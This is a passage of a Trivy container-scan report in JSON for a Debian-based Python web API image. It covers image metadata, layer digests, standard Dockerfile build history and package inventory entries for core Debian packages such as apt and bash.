{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b91c-6334-7d79-8681-4c6866729626", "CreatedAt": "2026-11-08T04:03:27.796885076+01:00", "ArtifactID": "sha256:37ec3b5f2cb8586a9b1f0bdfb838cb17b2509025be9022f875bfd0c91fa27f66", "ArtifactName": "traefik-stack-orsr-api", "ArtifactType": "container_image", "Metadata": { "Size": 499106304, "OS": { "Family": "debian", "Name": "13.6" }, "ImageID": "sha256:3230549eb515810aae903ed2b8a6ee4b1d51df267383eb0d122d596572d8c1bf", "DiffIDs": [ "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035", "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56", "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed", "sha256:d2505f5a762d70dc386767149afedd28f8d33c71d0aa8ad88a71bd71940ffe01", "sha256:285067c8aca80b73bc2370042bda0fd319a0cd5143c21211189de5e8256d0507", "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a", "sha256:5f73090f23d9dfbe18a8ba69618322b1d46fa631411cbe64073150bcdeecbd00", "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f", "sha256:02f485a8bfd5fc49f99c4ff73a67fc40fa1d911665620e4a5527660301b73926", "sha256:e40b0cf27686354e6b3b6e1bde803712e14441a57b0e359abffc21699f2a71fa", "sha256:2c9bfa2bb925c43ba247bf262932ab2cb8b589ce8607b6662dcc3cd21702fc19" ], "RepoTags": [ "traefik-stack-orsr-api:latest" ], "Reference": "traefik-stack-orsr-api:latest", "ImageConfig": { "architecture": "amd64", "created": "2026-08-12T14:33:38.595064861Z", "history": [ { "created": "2026-08-03T00:00:00Z", "created_by": "# debian.sh --arch 'amd64' out/ 'trixie' '@1785715200'", "comment": "debuerreotype 0.17" }, { "created": "2026-08-05T01:05:13Z", "created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-05T01:05:13Z", "created_by": "ENV LANG=C.UTF-8", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-05T01:05:13Z", "created_by": "RUN /bin/sh -c set -eux; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tca-certificates \t\tnetbase \t\ttzdata \t; \tapt-get dist-clean # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-05T01:05:13Z", "created_by": "ENV GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-05T01:05:13Z", "created_by": "ENV PYTHON_VERSION=3.11.15", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-05T01:05:13Z", "created_by": "ENV PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-05T01:12:29Z", "created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tdpkg-dev \t\tgcc \t\tgnupg \t\tlibbluetooth-dev \t\tlibbz2-dev \t\tlibc6-dev \t\tlibdb-dev \t\tlibffi-dev \t\tlibgdbm-dev \t\tliblzma-dev \t\tlibncursesw5-dev \t\tlibreadline-dev \t\tlibsqlite3-dev \t\tlibssl-dev \t\tmake \t\ttk-dev \t\tuuid-dev \t\twget \t\txz-utils \t\tzlib1g-dev \t; \t\twget -O python.tar.xz \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz\"; \techo \"$PYTHON_SHA256 *python.tar.xz\" | sha256sum -c -; \twget -O python.tar.xz.asc \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz.asc\"; \tGNUPGHOME=\"$(mktemp -d)\"; export GNUPGHOME; \tgpg --batch --keyserver hkps://keys.openpgp.org --recv-keys \"$GPG_KEY\"; \tgpg --batch --verify python.tar.xz.asc python.tar.xz; \tgpgconf --kill all; \trm -rf \"$GNUPGHOME\" python.tar.xz.asc; \tmkdir -p /usr/src/python; \ttar --extract --directory /usr/src/python --strip-components=1 --file python.tar.xz; \trm python.tar.xz; \t\tcd /usr/src/python; \tgnuArch=\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\"; \t./configure \t\t--build=\"$gnuArch\" \t\t--enable-loadable-sqlite-extensions \t\t--enable-optimizations \t\t--enable-option-checking=fatal \t\t--enable-shared \t\t$(test \"${gnuArch%%-*}\" != 'riscv64' \u0026\u0026 echo '--with-lto') \t\t--with-ensurepip \t; \tnproc=\"$(nproc)\"; \tEXTRA_CFLAGS=\"$(dpkg-buildflags --get CFLAGS)\"; \tLDFLAGS=\"$(dpkg-buildflags --get LDFLAGS)\"; \tLDFLAGS=\"${LDFLAGS:-} -Wl,--strip-all\"; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-}\" \t; \trm python; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-} -Wl,-rpath='\\$\\$ORIGIN/../lib'\" \t\tpython \t; \tmake install; \t\tcd /; \trm -rf /usr/src/python; \t\tfind /usr/local -depth \t\t\\( \t\t\t\\( -type d -a \\( -name test -o -name tests -o -name idle_test \\) \\) \t\t\t-o \\( -type f -a \\( -name '*.pyc' -o -name '*.pyo' -o -name 'libpython*.a' \\) \\) \t\t\\) -exec rm -rf '{}' + \t; \t\tldconfig; \t\tapt-mark auto '.*' \u003e /dev/null; \tapt-mark manual $savedAptMark; \tfind /usr/local -type f -executable -not \\( -name '*tkinter*' \\) -exec ldd '{}' ';' \t\t| awk '/=\u003e/ { so = $(NF-1); if (index(so, \"/usr/local/\") == 1) { next }; gsub(\"^/(usr/)?\", \"\", so); printf \"*%s\\n\", so }' \t\t| sort -u \t\t| xargs -rt dpkg-query --search \t\t| awk 'sub(\":$\", \"\", $1) { print $1 }' \t\t| sort -u \t\t| xargs -r apt-mark manual \t; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \tapt-get dist-clean; \t\texport PYTHONDONTWRITEBYTECODE=1; \tpython3 --version; \t\tpip3 install \t\t--disable-pip-version-check \t\t--no-cache-dir \t\t--no-compile \t\t'setuptools==79.0.1' \t\t'wheel==0.46.3' \t; \tpip3 --version # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-05T01:12:29Z", "created_by": "RUN /bin/sh -c set -eux; \tfor src in idle3 pip3 pydoc3 python3 python3-config; do \t\tdst=\"$(echo \"$src\" | tr -d 3)\"; \t\t[ -s \"/usr/local/bin/$src\" ]; \t\t[ ! -e \"/usr/local/bin/$dst\" ]; \t\tln -svT \"$src\" \"/usr/local/bin/$dst\"; \tdone # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-05T01:12:29Z", "created_by": "CMD [\"python3\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-12T14:30:21Z", "created_by": "WORKDIR /app", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:30:45Z", "created_by": "RUN /bin/sh -c apt-get update \u0026\u0026 apt-get install -y gcc postgresql-client \u0026\u0026 rm -rf /var/lib/apt/lists/* # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:30:45Z", "created_by": "COPY requirements.txt . # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:30:58Z", "created_by": "RUN /bin/sh -c pip install --no-cache-dir -r requirements.txt # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:33:38Z", "created_by": "COPY app.py . # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:33:38Z", "created_by": "COPY psc_district.py . # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:33:38Z", "created_by": "COPY public/ ./public/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-08-12T14:33:38Z", "created_by": "EXPOSE [8000/tcp]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-08-12T14:33:38Z", "created_by": "CMD [\"uvicorn\" \"app:app\" \"--host\" \"0.0.0.0\" \"--port\" \"8000\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035", "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56", "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed", "sha256:d2505f5a762d70dc386767149afedd28f8d33c71d0aa8ad88a71bd71940ffe01", "sha256:285067c8aca80b73bc2370042bda0fd319a0cd5143c21211189de5e8256d0507", "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a", "sha256:5f73090f23d9dfbe18a8ba69618322b1d46fa631411cbe64073150bcdeecbd00", "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f", "sha256:02f485a8bfd5fc49f99c4ff73a67fc40fa1d911665620e4a5527660301b73926", "sha256:e40b0cf27686354e6b3b6e1bde803712e14441a57b0e359abffc21699f2a71fa", "sha256:2c9bfa2bb925c43ba247bf262932ab2cb8b589ce8607b6662dcc3cd21702fc19" ] }, "config": { "Cmd": [ "uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000" ], "Env": [ "PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "LANG=C.UTF-8", "GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D", "PYTHON_VERSION=3.11.15", "PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625" ], "Labels": { "com.docker.compose.project": "traefik-stack", "com.docker.compose.service": "orsr-api", "com.docker.compose.version": "5.2.0" }, "WorkingDir": "/app", "ExposedPorts": { "8000/tcp": {} }, "ArgsEscaped": true } }, "Layers": [ { "Size": 81049600, "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, { "Size": 4127232, "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, { "Size": 44217344, "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, { "Size": 5120, "DiffID": "sha256:d2505f5a762d70dc386767149afedd28f8d33c71d0aa8ad88a71bd71940ffe01" }, { "Size": 1536, "DiffID": "sha256:285067c8aca80b73bc2370042bda0fd319a0cd5143c21211189de5e8256d0507" }, { "Size": 259604480, "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, { "Size": 2560, "DiffID": "sha256:5f73090f23d9dfbe18a8ba69618322b1d46fa631411cbe64073150bcdeecbd00" }, { "Size": 109444608, "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, { "Size": 346624, "DiffID": "sha256:02f485a8bfd5fc49f99c4ff73a67fc40fa1d911665620e4a5527660301b73926" }, { "Size": 18432, "DiffID": "sha256:e40b0cf27686354e6b3b6e1bde803712e14441a57b0e359abffc21699f2a71fa" }, { "Size": 288768, "DiffID": "sha256:2c9bfa2bb925c43ba247bf262932ab2cb8b589ce8607b6662dcc3cd21702fc19" } ] }, "Results": [ { "Target": "traefik-stack-orsr-api (debian 13.6)", "Class": "os-pkgs", "Type": "debian", "Packages": [ { "ID": "adduser@3.152", "Name": "adduser", "Identifier": { "PURL": "pkg:deb/debian/adduser@3.152?arch=all\u0026distro=debian-13.6", "UID": "17a3839c9950603e" }, "Version": "3.152", "Arch": "all", "SrcName": "adduser", "SrcVersion": "3.152", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Adduser Developers \u003cadduser@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "passwd@1:4.17.4-2" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/sbin/adduser", "/usr/sbin/deluser", "/usr/share/doc/adduser/NEWS.Debian.gz", "/usr/share/doc/adduser/README.gz", "/usr/share/doc/adduser/TODO", "/usr/share/doc/adduser/changelog.gz", "/usr/share/doc/adduser/copyright", "/usr/share/doc/adduser/examples/INSTALL", "/usr/share/doc/adduser/examples/README", "/usr/share/doc/adduser/examples/adduser.conf", "/usr/share/doc/adduser/examples/adduser.local", "/usr/share/doc/adduser/examples/adduser.local.conf", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel.other/index.html", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_logout", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc", "/usr/share/doc/adduser/examples/deluser.conf", "/usr/share/man/da/man5/deluser.conf.5.gz", "/usr/share/man/de/man5/adduser.conf.5.gz", "/usr/share/man/de/man5/deluser.conf.5.gz", "/usr/share/man/de/man8/adduser.8.gz", "/usr/share/man/de/man8/adduser.local.8.gz", "/usr/share/man/de/man8/deluser.8.gz", "/usr/share/man/es/man5/deluser.conf.5.gz", "/usr/share/man/fr/man5/adduser.conf.5.gz", "/usr/share/man/fr/man5/deluser.conf.5.gz", "/usr/share/man/fr/man8/adduser.8.gz", "/usr/share/man/fr/man8/deluser.8.gz", "/usr/share/man/it/man5/deluser.conf.5.gz", "/usr/share/man/man5/adduser.conf.5.gz", "/usr/share/man/man5/deluser.conf.5.gz", "/usr/share/man/man8/adduser.8.gz", "/usr/share/man/man8/adduser.local.8.gz", "/usr/share/man/man8/deluser.8.gz", "/usr/share/man/nl/man5/adduser.conf.5.gz", "/usr/share/man/nl/man5/deluser.conf.5.gz", "/usr/share/man/nl/man8/adduser.8.gz", "/usr/share/man/nl/man8/adduser.local.8.gz", "/usr/share/man/nl/man8/deluser.8.gz", "/usr/share/man/pl/man5/deluser.conf.5.gz", "/usr/share/man/pt/man5/adduser.conf.5.gz", "/usr/share/man/pt/man5/deluser.conf.5.gz", "/usr/share/man/pt/man8/adduser.8.gz", "/usr/share/man/pt/man8/adduser.local.8.gz", "/usr/share/man/pt/man8/deluser.8.gz", "/usr/share/man/ro/man5/adduser.conf.5.gz", "/usr/share/man/ro/man5/deluser.conf.5.gz", "/usr/share/man/ro/man8/adduser.8.gz", "/usr/share/man/ro/man8/adduser.local.8.gz", "/usr/share/man/ro/man8/deluser.8.gz", "/usr/share/man/ru/man5/deluser.conf.5.gz", "/usr/share/man/sv/man5/deluser.conf.5.gz", "/usr/share/perl5/Debian/AdduserCommon.pm", "/usr/share/perl5/Debian/AdduserLogging.pm", "/usr/share/perl5/Debian/AdduserRetvalues.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "apt@3.0.3", "Name": "apt", "Identifier": { "PURL": "pkg:deb/debian/apt@3.0.3?arch=amd64\u0026distro=debian-13.6", "UID": "38b14e7ad28ff419" }, "Version": "3.0.3", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "3.0.3", "Licenses": [ "GPL-2.0-or-later", "curl", "BSD-3-Clause", "MIT", "GPL-2.0-only" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "adduser@3.152", "base-passwd@3.6.7", "debian-archive-keyring@2025.1", "libapt-pkg7.0@3.0.3", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libseccomp2@2.6.0-2", "libssl3t64@3.5.6-1~deb13u2", "libstdc++6@14.2.0-19", "libsystemd0@257.13-1~deb13u1", "sqv@1.3.0-3+b2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/apt", "/usr/bin/apt-cache", "/usr/bin/apt-cdrom", "/usr/bin/apt-config", "/usr/bin/apt-get", "/usr/bin/apt-mark", "/usr/lib/apt/apt-extracttemplates", "/usr/lib/apt/apt-helper", "/usr/lib/apt/apt.systemd.daily", "/usr/lib/apt/methods/cdrom", "/usr/lib/apt/methods/copy", "/usr/lib/apt/methods/file", "/usr/lib/apt/methods/gpgv", "/usr/lib/apt/methods/http", "/usr/lib/apt/methods/mirror", "/usr/lib/apt/methods/rred", "/usr/lib/apt/methods/sqv", "/usr/lib/apt/methods/store", "/usr/lib/apt/solvers/dump", "/usr/lib/dpkg/methods/apt/desc.apt", "/usr/lib/dpkg/methods/apt/install", "/usr/lib/dpkg/methods/apt/names", "/usr/lib/dpkg/methods/apt/setup", "/usr/lib/dpkg/methods/apt/update", "/usr/lib/systemd/system/apt-daily-upgrade.service", "/usr/lib/systemd/system/apt-daily-upgrade.timer", "/usr/lib/systemd/system/apt-daily.service", "/usr/lib/systemd/system/apt-daily.timer", "/usr/lib/x86_64-linux-gnu/libapt-private.so.0.0.0", "/usr/share/apt/default-sequoia.config", "/usr/share/bash-completion/completions/apt", "/usr/share/bug/apt/script", "/usr/share/doc/apt/NEWS.Debian.gz", "/usr/share/doc/apt/README.md.gz", "/usr/share/doc/apt/changelog.gz", "/usr/share/doc/apt/copyright", "/usr/share/doc/apt/examples/apt.conf", "/usr/share/doc/apt/examples/configure-index", "/usr/share/doc/apt/examples/debian.sources", "/usr/share/doc/apt/examples/preferences", "/usr/share/lintian/overrides/apt", "/usr/share/locale/ar/LC_MESSAGES/apt.mo", "/usr/share/locale/ast/LC_MESSAGES/apt.mo", "/usr/share/locale/bg/LC_MESSAGES/apt.mo", "/usr/share/locale/bs/LC_MESSAGES/apt.mo", "/usr/share/locale/ca/LC_MESSAGES/apt.mo", "/usr/share/locale/cs/LC_MESSAGES/apt.mo", "/usr/share/locale/cy/LC_MESSAGES/apt.mo", "/usr/share/locale/da/LC_MESSAGES/apt.mo", "/usr/share/locale/de/LC_MESSAGES/apt.mo", "/usr/share/locale/dz/LC_MESSAGES/apt.mo", "/usr/share/locale/el/LC_MESSAGES/apt.mo", "/usr/share/locale/es/LC_MESSAGES/apt.mo", "/usr/share/locale/eu/LC_MESSAGES/apt.mo", "/usr/share/locale/fi/LC_MESSAGES/apt.mo", "/usr/share/locale/fr/LC_MESSAGES/apt.mo", "/usr/share/locale/gl/LC_MESSAGES/apt.mo", "/usr/share/locale/hu/LC_MESSAGES/apt.mo", "/usr/share/locale/it/LC_MESSAGES/apt.mo", "/usr/share/locale/ja/LC_MESSAGES/apt.mo", "/usr/share/locale/km/LC_MESSAGES/apt.mo", "/usr/share/locale/ko/LC_MESSAGES/apt.mo", "/usr/share/locale/ku/LC_MESSAGES/apt.mo", "/usr/share/locale/lt/LC_MESSAGES/apt.mo", "/usr/share/locale/mr/LC_MESSAGES/apt.mo", "/usr/share/locale/nb/LC_MESSAGES/apt.mo", "/usr/share/locale/ne/LC_MESSAGES/apt.mo", "/usr/share/locale/nl/LC_MESSAGES/apt.mo", "/usr/share/locale/nn/LC_MESSAGES/apt.mo", "/usr/share/locale/pl/LC_MESSAGES/apt.mo", "/usr/share/locale/pt/LC_MESSAGES/apt.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/apt.mo", "/usr/share/locale/ro/LC_MESSAGES/apt.mo", "/usr/share/locale/ru/LC_MESSAGES/apt.mo", "/usr/share/locale/sk/LC_MESSAGES/apt.mo", "/usr/share/locale/sl/LC_MESSAGES/apt.mo", "/usr/share/locale/sv/LC_MESSAGES/apt.mo", "/usr/share/locale/th/LC_MESSAGES/apt.mo", "/usr/share/locale/tl/LC_MESSAGES/apt.mo", "/usr/share/locale/tr/LC_MESSAGES/apt.mo", "/usr/share/locale/uk/LC_MESSAGES/apt.mo", "/usr/share/locale/vi/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/apt.mo", "/usr/share/man/de/man1/apt-transport-http.1.gz", "/usr/share/man/de/man1/apt-transport-https.1.gz", "/usr/share/man/de/man1/apt-transport-mirror.1.gz", "/usr/share/man/de/man5/apt.conf.5.gz", "/usr/share/man/de/man5/apt_auth.conf.5.gz", "/usr/share/man/de/man5/apt_preferences.5.gz", "/usr/share/man/de/man5/sources.list.5.gz", "/usr/share/man/de/man7/apt-patterns.7.gz", "/usr/share/man/de/man8/apt-cache.8.gz", "/usr/share/man/de/man8/apt-cdrom.8.gz", "/usr/share/man/de/man8/apt-config.8.gz", "/usr/share/man/de/man8/apt-get.8.gz", "/usr/share/man/de/man8/apt-mark.8.gz", "/usr/share/man/de/man8/apt-secure.8.gz", "/usr/share/man/de/man8/apt.8.gz", "/usr/share/man/es/man5/apt_preferences.5.gz", "/usr/share/man/es/man8/apt-cache.8.gz", "/usr/share/man/es/man8/apt-cdrom.8.gz", "/usr/share/man/es/man8/apt-config.8.gz", "/usr/share/man/fr/man1/apt-transport-http.1.gz", "/usr/share/man/fr/man1/apt-transport-https.1.gz", "/usr/share/man/fr/man1/apt-transport-mirror.1.gz", "/usr/share/man/fr/man5/apt.conf.5.gz", "/usr/share/man/fr/man5/apt_auth.conf.5.gz", "/usr/share/man/fr/man5/apt_preferences.5.gz", "/usr/share/man/fr/man5/sources.list.5.gz", "/usr/share/man/fr/man7/apt-patterns.7.gz", "/usr/share/man/fr/man8/apt-cache.8.gz", "/usr/share/man/fr/man8/apt-cdrom.8.gz", "/usr/share/man/fr/man8/apt-config.8.gz", "/usr/share/man/fr/man8/apt-get.8.gz", "/usr/share/man/fr/man8/apt-mark.8.gz", "/usr/share/man/fr/man8/apt-secure.8.gz", "/usr/share/man/fr/man8/apt.8.gz", "/usr/share/man/it/man5/apt.conf.5.gz", "/usr/share/man/it/man5/apt_preferences.5.gz", "/usr/share/man/it/man8/apt-cache.8.gz", "/usr/share/man/it/man8/apt-cdrom.8.gz", "/usr/share/man/it/man8/apt-config.8.gz", "/usr/share/man/it/man8/apt-mark.8.gz", "/usr/share/man/it/man8/apt.8.gz", "/usr/share/man/ja/man5/apt.conf.5.gz", "/usr/share/man/ja/man5/apt_preferences.5.gz", "/usr/share/man/ja/man8/apt-cache.8.gz", "/usr/share/man/ja/man8/apt-cdrom.8.gz", "/usr/share/man/ja/man8/apt-config.8.gz", "/usr/share/man/ja/man8/apt-mark.8.gz", "/usr/share/man/ja/man8/apt.8.gz", "/usr/share/man/man1/apt-transport-http.1.gz", "/usr/share/man/man1/apt-transport-https.1.gz", "/usr/share/man/man1/apt-transport-mirror.1.gz", "/usr/share/man/man5/apt.conf.5.gz", "/usr/share/man/man5/apt_auth.conf.5.gz", "/usr/share/man/man5/apt_preferences.5.gz", "/usr/share/man/man5/sources.list.5.gz", "/usr/share/man/man7/apt-patterns.7.gz", "/usr/share/man/man8/apt-cache.8.gz", "/usr/share/man/man8/apt-cdrom.8.gz", "/usr/share/man/man8/apt-config.8.gz", "/usr/share/man/man8/apt-get.8.gz", "/usr/share/man/man8/apt-mark.8.gz", "/usr/share/man/man8/apt-secure.8.gz", "/usr/share/man/man8/apt.8.gz", "/usr/share/man/nl/man1/apt-transport-http.1.gz", "/usr/share/man/nl/man1/apt-transport-https.1.gz", "/usr/share/man/nl/man1/apt-transport-mirror.1.gz", "/usr/share/man/nl/man5/apt.conf.5.gz", "/usr/share/man/nl/man5/apt_auth.conf.5.gz", "/usr/share/man/nl/man5/apt_preferences.5.gz", "/usr/share/man/nl/man5/sources.list.5.gz", "/usr/share/man/nl/man7/apt-patterns.7.gz", "/usr/share/man/nl/man8/apt-cache.8.gz", "/usr/share/man/nl/man8/apt-cdrom.8.gz", "/usr/share/man/nl/man8/apt-config.8.gz", "/usr/share/man/nl/man8/apt-get.8.gz", "/usr/share/man/nl/man8/apt-mark.8.gz", "/usr/share/man/nl/man8/apt-secure.8.gz", "/usr/share/man/nl/man8/apt.8.gz", "/usr/share/man/pl/man5/apt_preferences.5.gz", "/usr/share/man/pl/man8/apt-cache.8.gz", "/usr/share/man/pl/man8/apt-cdrom.8.gz", "/usr/share/man/pl/man8/apt-config.8.gz", "/usr/share/man/pt/man1/apt-transport-http.1.gz", "/usr/share/man/pt/man1/apt-transport-https.1.gz", "/usr/share/man/pt/man1/apt-transport-mirror.1.gz", "/usr/share/man/pt/man5/apt.conf.5.gz", "/usr/share/man/pt/man5/apt_auth.conf.5.gz", "/usr/share/man/pt/man5/apt_preferences.5.gz", "/usr/share/man/pt/man5/sources.list.5.gz", "/usr/share/man/pt/man7/apt-patterns.7.gz", "/usr/share/man/pt/man8/apt-cache.8.gz", "/usr/share/man/pt/man8/apt-cdrom.8.gz", "/usr/share/man/pt/man8/apt-config.8.gz", "/usr/share/man/pt/man8/apt-get.8.gz", "/usr/share/man/pt/man8/apt-mark.8.gz", "/usr/share/man/pt/man8/apt-secure.8.gz", "/usr/share/man/pt/man8/apt.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "base-files@13.8+deb13u6", "Name": "base-files", "Identifier": { "PURL": "pkg:deb/debian/base-files@13.8%2Bdeb13u6?arch=amd64\u0026distro=debian-13.6", "UID": "92f0efebffd8c58f" }, "Version": "13.8+deb13u6", "Arch": "amd64", "SrcName": "base-files", "SrcVersion": "13.8+deb13u6", "Licenses": [ "GPL-2.0-or-later", "verbatim" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/os-release", "/usr/share/base-files/dot.bashrc", "/usr/share/base-files/dot.profile", "/usr/share/base-files/dot.profile.md5sums", "/usr/share/base-files/info.dir", "/usr/share/base-files/motd", "/usr/share/base-files/profile", "/usr/share/base-files/profile.md5sums", "/usr/share/base-files/staff-group-for-usr-local", "/usr/share/common-licenses/Apache-2.0", "/usr/share/common-licenses/Artistic", "/usr/share/common-licenses/BSD", "/usr/share/common-licenses/CC0-1.0", "/usr/share/common-licenses/GFDL-1.2", "/usr/share/common-licenses/GFDL-1.3", "/usr/share/common-licenses/GPL-1", "/usr/share/common-licenses/GPL-2", "/usr/share/common-licenses/GPL-3", "/usr/share/common-licenses/LGPL-2", "/usr/share/common-licenses/LGPL-2.1", "/usr/share/common-licenses/LGPL-3", "/usr/share/common-licenses/MPL-1.1", "/usr/share/common-licenses/MPL-2.0", "/usr/share/doc/base-files/NEWS.Debian.gz", "/usr/share/doc/base-files/README", "/usr/share/doc/base-files/README.FHS", "/usr/share/doc/base-files/changelog.gz", "/usr/share/doc/base-files/copyright", "/usr/share/lintian/overrides/base-files" ], "AnalyzedBy": "dpkg" }, { "ID": "base-passwd@3.6.7", "Name": "base-passwd", "Identifier": { "PURL": "pkg:deb/debian/base-passwd@3.6.7?arch=amd64\u0026distro=debian-13.6", "UID": "f77779fa356eca05" }, "Version": "3.6.7", "Arch": "amd64", "SrcName": "base-passwd", "SrcVersion": "3.6.7", "Licenses": [ "GPL-2.0-only", "public-domain" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libdebconfclient0@0.280", "libselinux1@3.8.1-1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/sbin/update-passwd", "/usr/share/base-passwd/group.master", "/usr/share/base-passwd/passwd.master", "/usr/share/doc-base/base-passwd.users-and-groups", "/usr/share/doc/base-passwd/README", "/usr/share/doc/base-passwd/changelog.gz", "/usr/share/doc/base-passwd/copyright", "/usr/share/doc/base-passwd/users-and-groups.html", "/usr/share/doc/base-passwd/users-and-groups.txt.gz", "/usr/share/lintian/overrides/base-passwd", "/usr/share/man/de/man8/update-passwd.8.gz", "/usr/share/man/es/man8/update-passwd.8.gz", "/usr/share/man/fr/man8/update-passwd.8.gz", "/usr/share/man/ja/man8/update-passwd.8.gz", "/usr/share/man/man8/update-passwd.8.gz", "/usr/share/man/pl/man8/update-passwd.8.gz", "/usr/share/man/ro/man8/update-passwd.8.gz", "/usr/share/man/ru/man8/update-passwd.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "bash@5.2.37-2+b9", "Name": "bash", "Identifier": { "PURL": "pkg:deb/debian/bash@5.2.37-2%2Bb9?arch=amd64\u0026distro=debian-13.6", "UID": "84e3d9e7d9c5b184" }, "Version": "5.2.37", "Release": "2+b9", "Arch": "amd64", "SrcName": "bash", "SrcVersion": "5.2.37", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only", "Latex2e", "BSD-4-Clause-UC", "MIT", "permissive" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" 